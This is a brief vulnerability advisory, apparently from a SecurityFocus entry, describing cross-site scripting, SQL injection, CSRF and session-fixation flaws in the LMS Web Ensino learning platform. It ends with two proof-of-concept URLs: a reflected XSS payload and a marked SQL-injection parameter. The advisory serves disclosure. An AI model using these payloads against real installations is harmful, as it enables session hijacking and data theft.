source: https://www.securityfocus.com/bid/46829/info

LMS Web Ensino is prone to the following input-validation vulnerabilities:

1. Multiple cross-site scripting vulnerabilities
2. An SQL-injection vulnerability
3. A cross-site request-forgery vulnerability
4. A session-fixation vulnerability

Exploiting these issues could allow an attacker to execute arbitrary code, hijack a user's session, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/lms/sistema/webensino/index.php?modo=resbusca_biblioteca&pChave=a%22%2F%3E+%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&Submit=Buscar

http://www.example.com/lms/sistema/webensino/index.php?modo=itensCategoriaBiblioteca&codBibliotecaCategoria=<SQLi>